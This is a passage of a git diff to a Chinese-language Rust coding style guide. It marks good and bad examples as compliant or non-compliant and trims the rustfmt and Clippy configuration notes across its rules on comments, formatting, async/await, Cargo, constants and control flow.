`wrap_comments`并未使用默认值,需要配置为 true。 ```rust +// 符合 // Lorem ipsum dolor sit amet, consectetur adipiscing elit, // sed do eiusmod tempor incididunt ut labore et dolore // magna aliqua. Ut enim ad minim veniam, quis nostrud @@ -28,10 +32,6 @@ **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`comment_width`](https://rust-lang.github.io/rustfmt/?#comment_width) | 80(默认) | No| 指定一行注释允许的最大宽度 | diff --git a/src/safe-guides/code_style/comments/P.CMT.03.md b/src/safe-guides/code_style/comments/P.CMT.03.md index ec986975..633c3f64 100644 --- a/src/safe-guides/code_style/comments/P.CMT.03.md +++ b/src/safe-guides/code_style/comments/P.CMT.03.md @@ -6,24 +6,22 @@ 对于文档注释,仅在编写模块级文档时使用 `//!`,在其他情况使用 `///`更好。 +说明: `#![doc]` 和 `#[doc]` 对于简化文档注释有特殊作用,没有必要通过 `rustfmt` 将其强制转化为 `//!` 或 `///` 。 + **【反例】** ```rust +// 不符合 + /* * Wait for the main task to return, and set the process error code * appropriately. */ - mod tests { //! This module contains tests // ... } - -#![doc = "Example documentation"] - -#[doc = "Example item documentation"] -pub enum Foo {} ``` **【正例】** @@ -31,27 +29,26 @@ pub enum Foo {} 当 `normalize_comments = true` 时: ```rust +// 符合 + // Wait for the main task to return, and set the process error code // appropriately. +// 符合 // 在使用 `mod` 关键字定义模块时,在 `mod`之上使用 `///` 更好。 + /// This module contains tests mod tests { // ... } -//! Example documentation - -/// Example item documentation +// 符合 +#[doc = "Example item documentation"] pub enum Foo {} ``` **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`normalize_comments`](https://rust-lang.github.io/rustfmt/?#normalize_comments) | false(默认) true(推荐) | No| 将 `/**/` 注释转为 `//`| diff --git a/src/safe-guides/code_style/comments/P.CMT.04.md b/src/safe-guides/code_style/comments/P.CMT.04.md index 467fabfe..53000cff 100644 --- a/src/safe-guides/code_style/comments/P.CMT.04.md +++ b/src/safe-guides/code_style/comments/P.CMT.04.md @@ -35,10 +35,12 @@ **【正例】** ```rust +// 符合 // 版权所有(c)XXX 技术有限公司 2015-2022。 // Or +// 符合 // Copyright (c) XXX Technologies Co.Ltd. 2015-2022. // All rights reserved. Licensed under Apache-2.0. ``` \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.05.md b/src/safe-guides/code_style/comments/P.CMT.05.md index 65f53531..a147a0a0 100644 --- a/src/safe-guides/code_style/comments/P.CMT.05.md +++ b/src/safe-guides/code_style/comments/P.CMT.05.md @@ -2,16 +2,14 @@ **【描述】** -通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。rustfmt 默认不开启该项,所以需要配置。 +通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。 -但是配置为 `Always` 没必要,只需要配置为 `Unnumbered` 针对编号的 `FXIME` 和 `TODO` 报告即可。 - -这两个配置目前有 Bug ,无法正确识别报告,但不影响这个规则的应用。 +注意:此条目不适于使用 `rustfmt`相关配置项 `report_fixme` 和 `report_todo`,在 `rustfmt` v2.0 中已经移除这两项配置。 **【正例】** ```rust - +// 符合 // TODO(calebcartwright): consider enabling box_patterns feature gate fn annotation_type_for_level(level: Level) -> AnnotationType { match level { @@ -26,13 +24,3 @@ fn annotation_type_for_level(level: Level) -> AnnotationType { } ``` -**【rustfmt 配置】** - -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`report_fixme`](https://rust-lang.github.io/rustfmt/?#report_fixme) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | -| [`report_todo`](https://rust-lang.github.io/rustfmt/?#report_todo) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt.md b/src/safe-guides/code_style/fmt.md index a04d380e..c84f8a02 100644 --- a/src/safe-guides/code_style/fmt.md +++ b/src/safe-guides/code_style/fmt.md @@ -26,6 +26,6 @@ Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调 - [P.FMT.11 导入模块分组应该具有良好的可读性](./fmt/P.FMT.11.md) - [P.FMT.12 声明宏分支应该具有良好的可读性](./fmt/P.FMT.12.md) - [P.FMT.13 具名结构体字段初始化时不要省略字段名](./fmt/P.FMT.13.md) -- [P.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/P.FMT.14.md) +- [P.FMT.14 extern 外部函数需要显式指定 C-ABI](./fmt/P.FMT.14.md) - [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.15.md) -- [P.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/P.FMT.16.md) \ No newline at end of file +- [P.FMT.16 不要将派生宏中多个不相关的特质合并为同一行](./fmt/P.FMT.16.md) \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/P.FMT.14.md b/src/safe-guides/code_style/fmt/P.FMT.14.md index 0eb4544d..bd567c32 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.14.md +++ b/src/safe-guides/code_style/fmt/P.FMT.14.md @@ -1,29 +1,25 @@ -## P.FMT.14 extern 外部函数需要显式指定 ABI +## P.FMT.14 extern 外部函数需要显式指定 C-ABI **【描述】** -当使用 `extern` 指定外部函数时,建议显式指定 `C-ABI`。`extern` 不指定的话默认就是 `C-ABI`,但是 Rust 语言显式指定是一种约定俗成。 +当使用 `extern` 指定外部函数时,建议显式指定 `C-ABI`。 + +虽然 `extern` 不指定的话默认就是 `C-ABI`,但是 Rust 语言显式指定是一种约定俗成。 **【反例】** ```rust -// 省略 ABI 指定,则默认是 C-ABI +// 不符合:不要省略 C-ABI 指定 extern { pub static lorem: c_int; } - -// 非 C-ABI 是无法省略的 -extern "Rust" { - type MyType; - fn f(&self) -> usize; -} ``` **【正例】** ```rust -// 默认就是 `C-ABI` +// 符合 extern "C" { pub static lorem: c_int; } @@ -36,10 +32,6 @@ extern "Rust" { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`force_explicit_abi`](https://rust-lang.github.io/rustfmt/?#force_explicit_abi) | true(默认) | Yes| extern 外部函数总是要指定 ABI | diff --git a/src/safe-guides/code_style/fmt/P.FMT.15.md b/src/safe-guides/code_style/fmt/P.FMT.15.md index cf5f6d6f..b402d87e 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.15.md +++ b/src/safe-guides/code_style/fmt/P.FMT.15.md @@ -2,16 +2,16 @@ **【描述】** -默认选项是 false,表示不允许 解构元组的时候使用`..`来指代剩余元素 +`rustfmt` 可以由 `condense_wildcard_suffixes` 配置项来格式化此规则,其默认选项是 false,表示不允许 解构元组的时候使用`..`来指代剩余元素,所以需要修改默认配置项的值为 `true` 才符合规范。 **【反例】** -这种情况下,rustfmt不会自动更改代码,会保留原来的写法。 +默认情况下,rustfmt 不会自动更改代码,会保留原来的写法。 ```rust fn main() { + // 不符合: 应该使用`..` let (lorem, ipsum, _, _) = (1, 2, 3, 4); - let (lorem, ipsum, ..) = (1, 2, 3, 4); let (lorem, _,ipsum, _, _) = (1, 2, 3, 4, 5); } ``` @@ -22,6 +22,7 @@ fn main() { ```rust fn main() { + // 符合 let (lorem, ipsum, ..) = (1, 2, 3, 4); let (lorem, _,ipsum, ..) = (1, 2, 3, 4, 5); } @@ -29,10 +30,6 @@ fn main() { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------------------------------------------------------------ | --------------------------- | ----------- | -------------------------------------------- | | [`condense_wildcard_suffixes`](https://rust-lang.github.io/rustfmt/?#condense_wildcard_suffixes) | false(默认) true (推荐) | No | 解构元组的时候是否允许使用`..`来指代剩余元素 | diff --git a/src/safe-guides/code_style/fmt/P.FMT.16.md b/src/safe-guides/code_style/fmt/P.FMT.16.md index 4b8e0ef1..807d5c9e 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.16.md +++ b/src/safe-guides/code_style/fmt/P.FMT.16.md @@ -1,24 +1,29 @@ -## P.FMT.16 不要将多个不相关的 派生(Derive) 宏合并为同一行 +## P.FMT.16 不要将派生宏中多个不相关的特质合并为同一行 **【描述】** -不要将多个不相关的 Derive 宏合并为同一行,可以增加代码可读性,明确语义。 -rustfmt 不会识别Derive 宏是否相关,这是开发者自己编写的。 +不要将派生宏(Derive)中多个特质(trait)合并为同一行,这样可以增加代码可读性,明确语义。 + +`rustfmt` 配置项 `merge_derives` 用于匹配此格式,其默认值是让派生宏中多个特质在同一行,所以需要修改其默认值。 + +说明: `rustfmt` 并不会识别哪些特质相关,所以需要开发者手工指定好。 **【反例】** -用默认设置 `merge_derives = true` +当使用默认设置 `merge_derives = true` 时,不符合。 ```rust +// 不符合:不相关的特质放到一行 #[derive(Eq, PartialEq, Debug, Copy, Clone)] pub enum Foo {} ``` **【正例】** -修改默认设置 `merge_derives = false` +修改默认设置 `merge_derives = false`,符合。 ```rust +// 符合 #[derive(Eq, PartialEq)] #[derive(Debug)] #[derive(Copy, Clone)] @@ -27,10 +32,6 @@ pub enum Foo {} **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------------------------------------------------------------ | -------------------------- | ----------- | -------------------------------- | | [`merge_derives`](https://rust-lang.github.io/rustfmt/?#merge_derives) | true(默认) false(推荐) | Yes | 是否将多个 Derive 宏合并为同一行 | diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.01.md b/src/safe-guides/coding_practice/async-await/G.ASY.01.md index 95504633..3dba97a0 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.01.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.01.md @@ -13,7 +13,7 @@ async fn foo() {} fn bar() { let x = async { - foo() + foo() // 不符合 }; } ``` @@ -25,23 +25,11 @@ async fn foo() {} fn bar() { let x = async { - foo().await + foo().await // 符合 }; } ``` -**【例外】** - -用例来源:[fishrock_lambda_runtime](https://docs.rs/crate/fishrock_lambda_runtime/0.3.0-patched.1/source/src/lib.rs#:~:text=clippy%3a%3aasync_yields_async) - -```rust -#[allow(clippy::async_yields_async)] -let task = tokio::spawn(async move { handler.call(body, ctx) }); - -let req = match task.await { - // ... -} -``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.02.md b/src/safe-guides/coding_practice/async-await/G.ASY.02.md index 53a2b9d6..da9ef730 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.02.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.02.md @@ -6,7 +6,7 @@ 同步互斥锁本来就不是为异步上下文跨 `await` 调用而设计的,在这种场景中使用同步互斥锁容易造成死锁。当同步互斥锁被跨 `await` 时,有可能很长时间都不会返回这个调用点,在其他任务中再次用到这个互斥锁的时候,容易造成死锁。 -这里有三种解决方案: +这里有两种解决方案: 1. 使用异步互斥锁。但是异步互斥锁的开销要大于同步互斥锁。 2. 确保同步互斥锁在调用 `await` 之前已经释放。 @@ -14,25 +14,29 @@ **【反例】** ```rust +#![warn(clippy::await_holding_lock)] use std::sync::Mutex; async fn foo(x: &Mutex) { - let guard = x.lock().unwrap(); + let mut guard = x.lock().unwrap(); *guard += 1; - bar.await; + baz().await; // 不符合 } + ``` **【正例】** ```rust +#![warn(clippy::await_holding_lock)] + use std::sync::Mutex; // 使用同步互斥锁 async fn foo(x: &Mutex) { { let guard = x.lock().unwrap(); *guard += 1; - } + } // 符合:await 之前先释放锁 bar.await; } @@ -49,7 +53,7 @@ async fn main() { let my_count = Arc::clone(&count); tokio::spawn(async move { for j in 0..10 { - // 这里的 lock 在每次迭代后都会被释放 + // 符合:这里的 lock 在每次迭代后都会被释放 let mut lock = my_count.lock().await; *lock += 1; println!("{} {} {}", i, j, lock); @@ -58,7 +62,7 @@ async fn main() { } loop { - // 这里的 lock 在每次迭代后都会被释放 + // 符合:这里的 lock 在每次迭代后都会被释放 if *count.lock().await >= 50 { break; } diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.03.md b/src/safe-guides/coding_practice/async-await/G.ASY.03.md index cdb509cf..645f56c6 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.03.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.03.md @@ -4,25 +4,29 @@ **【描述】** -与[上条规则](./G.ASY.02.md)类似,使用 `RefCell` 的独占(可变)借用会导致 Panic。因为 `RefCell` 是运行时检查独占的可变访问,如果跨 `await` 持有一个可变引用则可能会因为共享的可变引用而引起 Panic。 +使用 `RefCell` 的独占(可变)借用会导致 Panic。因为 `RefCell` 是运行时检查独占的可变访问,如果跨 `await` 持有一个可变引用则可能会因为共享的可变引用而引起 Panic。 这种共享可变在编译期是无法被检查出来的。 **【反例】** ```rust +#![warn(clippy::await_holding_refcell_ref)] + use std::cell::RefCell; async fn foo(x: &RefCell) { let mut y = x.borrow_mut(); *y += 1; - bar.await; + baz().await; // 不符合 } ``` **【正例】** ```rust +#![warn(clippy::await_holding_refcell_ref)] + use std::cell::RefCell; async fn foo(x: &RefCell) { @@ -30,7 +34,7 @@ async fn foo(x: &RefCell) { let mut y = x.borrow_mut(); *y += 1; } - bar.await; + baz().await; // 符合 } ``` @@ -44,8 +48,6 @@ async fn foo(x: &RefCell) { pub fn pull(&mut self, controller: sys::ReadableByteStreamController) -> Promise { let inner = self.inner.clone(); let fut = async move { - // This mutable borrow can never panic, since the ReadableStream always queues - // each operation on the underlying source. // 这个可变借用永远不会恐慌,因为 ReadableStream 对底层源的每个操作总是有序的。 let mut inner = inner.try_borrow_mut().unwrap_throw(); inner.pull(controller).await diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.04.md b/src/safe-guides/coding_practice/async-await/G.ASY.04.md index 11325265..881cd0c5 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.04.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.04.md @@ -9,14 +9,18 @@ **【反例】** ```rust +// 不符合 +#[warn(clippy::unused_async)] async fn add(value: i32) -> i32 { - value + 1 + value + 1 } ``` **【正例】** ```rust +// 符合 +#[warn(clippy::unused_async)] fn add(value: i32) -> i32 { value + 1 } diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.05.md b/src/safe-guides/coding_practice/async-await/G.ASY.05.md index 78ce9116..1d5d4dc6 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.05.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.05.md @@ -15,7 +15,7 @@ use std::error::Error; use std::{fs, io}; async fn read_file() -> Result { - fs::read_to_string("test.txt") + fs::read_to_string("test.txt") // 不符合 } ``` @@ -27,16 +27,7 @@ async fn read_file() -> Result { use tokio::fs; async fn read_file() -> std::io::Result<()> { - let _ = fs::read_to_string("test.txt").await?; + let _ = fs::read_to_string("test.txt").await?; // 符合 Ok(()) } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -**【定制化参考】** -这条规则如果需要定制Lint,则可以扫描异步过程,找到黑名单定义的阻塞操作调用,进行告警。 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/cargo/G.CAR.01.md b/src/safe-guides/coding_practice/cargo/G.CAR.01.md index cbd8713c..4b78dcbe 100644 --- a/src/safe-guides/coding_practice/cargo/G.CAR.01.md +++ b/src/safe-guides/coding_practice/cargo/G.CAR.01.md @@ -27,9 +27,3 @@ bin/ 2. 有利于面向接口思考,让代码架构和逻辑更加清晰。 若编写的可执行程序比较复杂,在 `main.rs` 里需要依赖太多东西时,那就需要创建 Workspace 把 `main.rs` 独立为一个 crate,而在这个 crate 内也没有必要再拆分为 `main` 和 `lib` 了。 - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | diff --git a/src/safe-guides/coding_practice/cargo/G.CAR.02.md b/src/safe-guides/coding_practice/cargo/G.CAR.02.md index 05e2d1d1..a3d0edf4 100644 --- a/src/safe-guides/coding_practice/cargo/G.CAR.02.md +++ b/src/safe-guides/coding_practice/cargo/G.CAR.02.md @@ -10,7 +10,7 @@ **【反例】** ```toml -# 此 `Cargo.toml` 缺失介绍(description)项。无法发布到 crates.io。 +# 不符合:此 `Cargo.toml` 缺失介绍(description)项。无法发布到 crates.io。 [package] name = "clippy" version = "0.0.212" @@ -24,7 +24,7 @@ categories = ["development-tools", "development-tools::cargo-plugins"] **【正例】** ```toml -# 此 `Cargo.toml` 包含必要元信息。 +# 符合:此 `Cargo.toml` 包含必要元信息。 [package] name = "clippy" version = "0.0.212" diff --git a/src/safe-guides/coding_practice/cargo/G.CAR.03.md b/src/safe-guides/coding_practice/cargo/G.CAR.03.md index fbcc490f..aa32fb64 100644 --- a/src/safe-guides/coding_practice/cargo/G.CAR.03.md +++ b/src/safe-guides/coding_practice/cargo/G.CAR.03.md @@ -11,14 +11,15 @@ Feature 命名应该避免出现 `no-` 或 `not-` 之类的否定前缀,或诸 ```toml [features] default = ["no-abc", "with-def", "ghi-support"] -no-abc = [] # 命名否定式 -with-def = [] # 多余前缀 -ghi-support = [] # 多余后缀 +no-abc = [] # 不符合:命名否定式 +with-def = [] # 不符合:多余前缀 +ghi-support = [] # 不符合:多余后缀 ``` **【正例】** ```toml +# 符合 [features] default = ["abc", "def", "ghi"] abc = [] diff --git a/src/safe-guides/coding_practice/cargo/G.CAR.04.md b/src/safe-guides/coding_practice/cargo/G.CAR.04.md index 025b3c8f..3ec7d749 100644 --- a/src/safe-guides/coding_practice/cargo/G.CAR.04.md +++ b/src/safe-guides/coding_practice/cargo/G.CAR.04.md @@ -6,18 +6,20 @@ 依赖的包必须指定具体的语义版本。关于语义版本说明参见:[The Cargo Book: SemVer Compatibility](https://doc.rust-lang.org/cargo/reference/semver.html)。 +> 使用 Clippy 需要设置 `#[warn(clippy::wildcard_dependencies)]`。 + **【反例】** ```toml [dependencies] -regex = "*" +regex = "*" # 不符合:避免项目依赖因为上游更新而自动更新 ``` **【正例】** ```toml [dependencies] -regex = "1.5" +regex = "1.5" # 符合 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/cargo/P.CAR.02.md b/src/safe-guides/coding_practice/cargo/P.CAR.02.md index e53cd99c..039e5fb1 100644 --- a/src/safe-guides/coding_practice/cargo/P.CAR.02.md +++ b/src/safe-guides/coding_practice/cargo/P.CAR.02.md @@ -2,7 +2,7 @@ **【描述】** -Rust 的 features 提供了方便的条件编译功能。从软件工程来说,features 应该是为了避免让用户依赖没必要依赖的功能而使用的。 +Rust 的 features 提供了方便的条件编译功能。从软件工程来说,features 适合应用于可选功能。 在使用 features 的时候,应该考虑到底是不是真的需要 features。 diff --git a/src/safe-guides/coding_practice/collections/P.CLT.01.md b/src/safe-guides/coding_practice/collections/P.CLT.01.md index 61de93b5..7729bf1b 100644 --- a/src/safe-guides/coding_practice/collections/P.CLT.01.md +++ b/src/safe-guides/coding_practice/collections/P.CLT.01.md @@ -12,14 +12,14 @@ use std::collections::VecDeque; fn main() { - // HashMap + // 不符合 let mut map = HashMap::new(); map.insert("a", 1); map.insert("b", 2); map.insert("c", 3); println!("{:#?}", map); - // VecDeque + // 不符合 let mut deque = VecDeque::new(); deque.push_back(1); deque.push_back(2); @@ -36,14 +36,14 @@ use std::collections::VecDeque; fn main() { - // HashMap + // 符合 let mut map = HashMap::with_capacity(3); map.insert("a", 1); map.insert("b", 2); map.insert("c", 3); println!("{:#?}", map); - // VecDeque + // 符合 let mut deque = VecDeque::with_capacity(3); deque.push_back(1); deque.push_back(2); diff --git a/src/safe-guides/coding_practice/consts/G.CNS.01.md b/src/safe-guides/coding_practice/consts/G.CNS.01.md index 9b3ccf8b..8a612df2 100644 --- a/src/safe-guides/coding_practice/consts/G.CNS.01.md +++ b/src/safe-guides/coding_practice/consts/G.CNS.01.md @@ -11,15 +11,15 @@ Rust标准库中已经提供了一些特殊常量的定义,其精确度通常 **【反例】** ```rust -let x = 3.14; -let y = 1_f64 / x; +let x = 3.14; // 不符合:自定义 Pi +let y = 1_f64 / x; // 不符合 ``` **【正例】** ```rust -let x = std::f32::consts::PI; -let y = std::f64::consts::FRAC_1_PI; +let x = std::f32::consts::PI; // 符合 +let y = std::f64::consts::FRAC_1_PI; // 符合 ``` **【Lint 检测】** @@ -28,4 +28,4 @@ let y = std::f64::consts::FRAC_1_PI; | ------ | ---- | --------- | ------ | ------ | | [approx_constant](https://rust-lang.github.io/rust-clippy/master/#approx_constant) | yes| no | Correctness | deny | -该 Lint 默认为 `deny`,但在某些场景下,可以设置为`allow`. +该 Lint 默认为 `deny`,但在某些场景下,可以设置为`allow`,`#![allow(clippy::approx_constant)]`。 diff --git a/src/safe-guides/coding_practice/consts/G.CNS.02.md b/src/safe-guides/coding_practice/consts/G.CNS.02.md index 6973aed1..eb78ea6b 100644 --- a/src/safe-guides/coding_practice/consts/G.CNS.02.md +++ b/src/safe-guides/coding_practice/consts/G.CNS.02.md @@ -9,6 +9,7 @@ **【反例】** ```rust +// 不符合 const B: bool = false; assert!(B); assert!(true); @@ -17,6 +18,7 @@ assert!(true); **【正例】** ```rust +// 符合 panic!("something"); ``` diff --git a/src/safe-guides/coding_practice/consts/G.CNS.03.md b/src/safe-guides/coding_practice/consts/G.CNS.03.md index 745385cf..1610efb0 100644 --- a/src/safe-guides/coding_practice/consts/G.CNS.03.md +++ b/src/safe-guides/coding_practice/consts/G.CNS.03.md @@ -4,8 +4,7 @@ **【描述】** -由于常量会到处内联的特性。 -若将一个内容可变容器声明为常量,那么在引用它的时候同样会新建一个实例,这样会破坏内容可变容器的使用目的, +由于常量有内联的特性。若将一个内容可变容器声明为常量,那么在引用它的时候同样会新建一个实例,这样会破坏内容可变容器的使用目的, 所以需要将它的值存储为静态(static)或者直接将其定义为静态。 **【反例】** @@ -14,7 +13,7 @@ use std::sync::atomic::{AtomicUsize, Ordering::SeqCst}; const CONST_ATOM: AtomicUsize = AtomicUsize::new(12); -// Bad. +// 不符合 CONST_ATOM.store(6, SeqCst); // 此处相当于新建了一个atomic实例,所以原容器内容并未改变 assert_eq!(CONST_ATOM.load(SeqCst), 12); // 仍为12,因为这两行的CONST_ATOM为不同实例 @@ -26,12 +25,12 @@ assert_eq!(CONST_ATOM.load(SeqCst), 12); // 仍为12,因为这两行的CONST_A use std::sync::atomic::{AtomicUsize, Ordering::SeqCst}; const CONST_ATOM: AtomicUsize = AtomicUsize::new(12); -// Good. +// 符合 static STATIC_ATOM: AtomicUsize = CONST_ATOM; STATIC_ATOM.store(9, SeqCst); assert_eq!(STATIC_ATOM.load(SeqCst), 9); // 使用`static`, 故上下文的STATIC_ATOM皆指向同一个实例 -// 或直接声明为static +// 符合: 或直接声明为static static ANOTHER_STATIC_ATOM: AtomicUsize = AtomicUsize::new(15); ANOTHER_STATIC_ATOM.store(9, SeqCst); assert_eq!(ANOTHER_STATIC_ATOM.load(SeqCst), 9); diff --git a/src/safe-guides/coding_practice/consts/G.CNS.04.md b/src/safe-guides/coding_practice/consts/G.CNS.04.md index 53a14b05..ff9f8a50 100644 --- a/src/safe-guides/coding_practice/consts/G.CNS.04.md +++ b/src/safe-guides/coding_practice/consts/G.CNS.04.md @@ -4,11 +4,12 @@ **【描述】** -在常量和静态变量声明时已经默认含有隐式的`'static`生命周期,所以不需要额外增加显式`'static`声明周期。 +在常量和静态变量声明时已经默认含有隐式的`'static`生命周期,所以不需要额外增加显式`'static`。 **【反例】** ```rust +// 不符合 const FOO: &'static [(&'static str, &'static str, fn(&Bar) -> bool)] = &[...] static FOO: &'static [(&'static str, &'static str, fn(&Bar) -> bool)] = @@ -18,6 +19,7 @@ static FOO: &'static [(&'static str, &'static str, fn(&Bar) -> bool)] = **【正例】** ```rust +// 符合 const FOO: &[(&str, &str, fn(&Bar) -> bool)] = &[...] static FOO: &[(&str, &str, fn(&Bar) -> bool)] = &[...] ``` diff --git a/src/safe-guides/coding_practice/consts/G.CNS.05.md b/src/safe-guides/coding_practice/consts/G.CNS.05.md index 553aaa8b..448d1600 100644 --- a/src/safe-guides/coding_practice/consts/G.CNS.05.md +++ b/src/safe-guides/coding_practice/consts/G.CNS.05.md @@ -5,7 +5,8 @@ **【描述】** 函数或方法缺失`const`关键词时无法被指派给常量。 -但是要注意不是所有函数都能使用`const fn`,因为相比一般函数或方法,`const fn`在使用时会有限制,一些功能将无法在`const fn`内使用,例如迭代器。 + +但是要注意不是所有函数都能使用`const fn`,因为相比一般函数或方法,`const fn`在使用时会有限制,必须满足const 安全,如果不满足,编译器会报告错误信息。 **【反例】** @@ -14,8 +15,8 @@ fn foo() -> usize { 10 } -let bar: usize = foo(); // OK -const BAZ: usize = foo(); // ERROR +// 不符合:必须是 constant 函数才能用于声明 const 常量 +const BAZ: usize = foo(); ``` **【正例】** @@ -25,8 +26,7 @@ const fn foo() -> usize { 10 } -let bar: usize = foo(): // OK -const BAZ: usize = foo(); // OK +const BAZ: usize = foo(); // 符合 ``` **【例外】** diff --git a/src/safe-guides/coding_practice/control-flow/G.CTF.01.md b/src/safe-guides/coding_practice/control-flow/G.CTF.01.md index 7fa106fb..b5d0cdfb 100644 --- a/src/safe-guides/coding_practice/control-flow/G.CTF.01.md +++ b/src/safe-guides/coding_practice/control-flow/G.CTF.01.md @@ -7,15 +7,14 @@ 在使用多个`if-else`来对不同情况进行区分时,使用 `match` 和 `cmp` 代替 `if` 的好处是语义更加明确,而且也能帮助开发者穷尽所有可能性。 但是这里需要注意这里使用 `match` 和 `cmp` 的性能要低于 `if`表达式,因为 一般的 `>` 或 `<` 等比较操作是内联的,而 `cmp`方法没有内联。 -根据实际情况来选择是否设置 `comparison_chain` 为 `allow`。 - **【反例】** ```rust -# fn a() {} -# fn b() {} -# fn c() {} +fn a() {} +fn b() {} +fn c() {} fn f(x: u8, y: u8) { + // 不符合 if x > y { a() } else if x < y { @@ -30,10 +29,11 @@ fn f(x: u8, y: u8) { ```rust use std::cmp::Ordering; -# fn a() {} -# fn b() {} -# fn c() {} +fn a() {} +fn b() {} +fn c() {} fn f(x: u8, y: u8) { + // 符合 match x.cmp(&y) { Ordering::Greater => a(), Ordering::Less => b(), diff --git a/src/safe-guides/coding_practice/control-flow/G.CTF.02.md b/src/safe-guides/coding_practice/control-flow/G.CTF.02.md index 75444140..62b6fb7e 100644 --- a/src/safe-guides/coding_practice/control-flow/G.CTF.02.md +++ b/src/safe-guides/coding_practice/control-flow/G.CTF.02.md @@ -4,39 +4,45 @@ **【描述】** -略 +这样做有助于代码逻辑更加健壮清晰,在一些要求严格的编码规范中要求这么做,比如《MISRA-C:2004 Rule 14.10》编码规范。 **【反例】** ```rust -# fn a() {} -# fn b() {} -# let x: i32 = 1; -if x.is_positive() { - a(); -} else if x.is_negative() { - b(); +#[warn(clippy::else_if_without_else)] +fn a() {} +fn b() {} + +fn main(){ + let x: i32 = 1; + if x.is_positive() { + a(); + } else if x.is_negative() { + b(); + } // 不符合:没有 else 分支 } ``` **【正例】** ```rust -# fn a() {} -# fn b() {} -# let x: i32 = 1; -if x.is_positive() { - a(); -} else if x.is_negative() { - b(); -} else { - // We don't care about zero. +#[warn(clippy::else_if_without_else)] +fn a() {} +fn b() {} + +fn main(){ + let x: i32 = 1; + if x.is_positive() { + a(); + } else if x.is_negative() { + b(); + } else { + // 符合 + } } ``` - - -【Lint 检测】** +**【Lint 检测】** | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | | ------------------------------------------------------------ | ------------- | ------------ | --------------- | ----- | diff --git a/src/safe-guides/coding_practice/control-flow/G.CTF.03.md b/src/safe-guides/coding_practice/control-flow/G.CTF.03.md index 5747ecdc..ea222a09 100644 --- a/src/safe-guides/coding_practice/control-flow/G.CTF.03.md +++ b/src/safe-guides/coding_practice/control-flow/G.CTF.03.md @@ -1,4 +1,4 @@ -## G.CTF.03 如果要通过 `if` 条件表达式来判断是否panic,请优先使用断言 +## G.CTF.03 如果要通过 `if` 条件表达式来判断是否 Panic,请优先使用断言 **【级别】** 建议 @@ -10,6 +10,7 @@ ```rust let sad_people: Vec<&str> = vec![]; +// 不符合 if !sad_people.is_empty() { panic!("there are sad people: {:?}", sad_people); } @@ -19,6 +20,7 @@ if !sad_people.is_empty() { ```rust let sad_people: Vec<&str> = vec![]; +// 符合 assert!(sad_people.is_empty(), "there are sad people: {:?}", sad_people); ``` diff --git a/src/safe-guides/coding_practice/control-flow/G.CTF.04.md b/src/safe-guides/coding_practice/control-flow/G.CTF.04.md index 8432a2ec..fbd2a45f 100644 --- a/src/safe-guides/coding_practice/control-flow/G.CTF.04.md +++ b/src/safe-guides/coding_practice/control-flow/G.CTF.04.md @@ -1,4 +1,4 @@ -## G.CTF.04 在Match分支的Guard语句中不要使用带有副作用的条件表达式 +## G.CTF.04 在 Match 分支的 Guard 语句中不要使用带有副作用的条件表达式 **【级别】** 建议 @@ -9,7 +9,7 @@ **【反例】** ```rust -// 下面代码会输出两次 "ha" +// 不符合:下面代码会输出两次 "ha" fn main() { use std::cell::Cell; let i: Cell = Cell::new(0); @@ -25,15 +25,3 @@ fn main() { 